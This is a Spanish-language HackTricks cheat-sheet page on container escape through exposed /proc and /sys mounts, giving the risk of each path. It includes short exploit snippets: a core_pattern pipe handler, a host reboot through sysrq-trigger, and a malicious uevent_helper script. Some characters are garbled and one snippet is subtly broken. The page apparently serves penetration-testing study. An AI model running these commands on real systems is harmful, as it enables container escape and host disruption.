Sensitive Mounts
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
La exposici贸n de /proc
y /sys
sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliaci贸n de la superficie de ataque y la divulgaci贸n de informaci贸n. Estos directorios contienen archivos sensibles que, si est谩n mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificaci贸n del host o proporcionar informaci贸n que ayude a ataques posteriores. Por ejemplo, montar incorrectamente -v /proc:/host/proc
puede eludir la protecci贸n de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc
desprotegido.
Puedes encontrar m谩s detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
Vulnerabilidades de procfs
/proc/sys
Este directorio permite el acceso para modificar variables del kernel, generalmente a trav茅s de sysctl(2)
, y contiene varios subdirectorios de inter茅s:
/proc/sys/kernel/core_pattern
- Descrito en core(5).
- Permite definir un programa para ejecutar en la generaci贸n de archivos de n煤cleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecuci贸n de c贸digo si el archivo comienza con un pipe
|
. - Ejemplo de Prueba y Explotaci贸n:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
sleep 5 && ./crash & # Activar controlador
/proc/sys/kernel/modprobe
- Detallado en proc(5).
- Contiene la ruta al cargador de m贸dulos del kernel, invocado para cargar m贸dulos del kernel.
- Ejemplo de Comprobaci贸n de Acceso:
ls -l $(cat /proc/sys/kernel/modprobe) # Comprobar acceso a modprobe
/proc/sys/vm/panic_on_oom
- Referenciado en proc(5).
- Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condici贸n OOM.
/proc/sys/fs
- Seg煤n proc(5), contiene opciones e informaci贸n sobre el sistema de archivos.
- El acceso de escritura puede habilitar varios ataques de denegaci贸n de servicio contra el host.
/proc/sys/fs/binfmt_misc
- Permite registrar int茅rpretes para formatos binarios no nativos basados en su n煤mero m谩gico.
- Puede llevar a la escalada de privilegios o acceso a shell root si
/proc/sys/fs/binfmt_misc/register
es escribible. - Exploit relevante y explicaci贸n:
- Poor man's rootkit via binfmt_misc
- Tutorial en profundidad: Video link
Otros en /proc
/proc/config.gz
- Puede revelar la configuraci贸n del kernel si
CONFIG_IKCONFIG_PROC
est谩 habilitado. - 脷til para atacantes para identificar vulnerabilidades en el kernel en ejecuci贸n.
/proc/sysrq-trigger
- Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones cr铆ticas.
- Ejemplo de Reinicio del Host:
echo b > /proc/sysrq-trigger # Reinicia el host
/proc/kmsg
- Expone mensajes del b煤fer de anillo del kernel.
- Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar informaci贸n sensible del sistema.
/proc/kallsyms
- Lista s铆mbolos exportados del kernel y sus direcciones.
- Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
- La informaci贸n de direcciones est谩 restringida con
kptr_restrict
configurado en1
o2
. - Detalles en proc(5).
/proc/[pid]/mem
- Interact煤a con el dispositivo de memoria del kernel
/dev/mem
. - Hist贸ricamente vulnerable a ataques de escalada de privilegios.
- M谩s en proc(5).
/proc/kcore
- Representa la memoria f铆sica del sistema en formato ELF core.
- La lectura puede filtrar el contenido de la memoria del sistema host y otros contenedores.
- Un tama帽o de archivo grande puede llevar a problemas de lectura o fallos de software.
- Uso detallado en Dumping /proc/kcore in 2019.
/proc/kmem
- Interfaz alternativa para
/dev/kmem
, representando la memoria virtual del kernel. - Permite la lectura y escritura, por lo tanto, la modificaci贸n directa de la memoria del kernel.
/proc/mem
- Interfaz alternativa para
/dev/mem
, representando la memoria f铆sica. - Permite la lectura y escritura, la modificaci贸n de toda la memoria requiere resolver direcciones virtuales a f铆sicas.
/proc/sched_debug
- Devuelve informaci贸n sobre la programaci贸n de procesos, eludiendo las protecciones del namespace PID.
- Expone nombres de procesos, IDs e identificadores de cgroup.
/proc/[pid]/mountinfo
- Proporciona informaci贸n sobre los puntos de montaje en el namespace de montaje del proceso.
- Expone la ubicaci贸n del
rootfs
o imagen del contenedor.
Vulnerabilidades de /sys
/sys/kernel/uevent_helper
- Usado para manejar
uevents
de dispositivos del kernel. - Escribir en
/sys/kernel/uevent_helper
puede ejecutar scripts arbitrarios al activarseuevent
. - Ejemplo de Explotaci贸n: %%%bash
Crea una carga 煤til
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor
hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)
Establece uevent_helper en el ayudante malicioso
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Activa un uevent
echo change > /sys/class/mem/null/uevent
Lee la salida
cat /output %%%
/sys/class/thermal
- Controla configuraciones de temperatura, potencialmente causando ataques DoS o da帽os f铆sicos.
/sys/kernel/vmcoreinfo
- Filtra direcciones del kernel, comprometiendo potencialmente KASLR.
/sys/kernel/security
- Alberga la interfaz
securityfs
, permitiendo la configuraci贸n de M贸dulos de Seguridad de Linux como AppArmor. - El acceso podr铆a permitir a un contenedor deshabilitar su sistema MAC.
/sys/firmware/efi/vars
y /sys/firmware/efi/efivars
- Expone interfaces para interactuar con variables EFI en NVRAM.
- La mala configuraci贸n o explotaci贸n puede llevar a laptops bloqueadas o m谩quinas host que no se pueden iniciar.
/sys/kernel/debug
debugfs
ofrece una interfaz de depuraci贸n "sin reglas" al kernel.- Historial de problemas de seguridad debido a su naturaleza sin restricciones.
Referencias
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.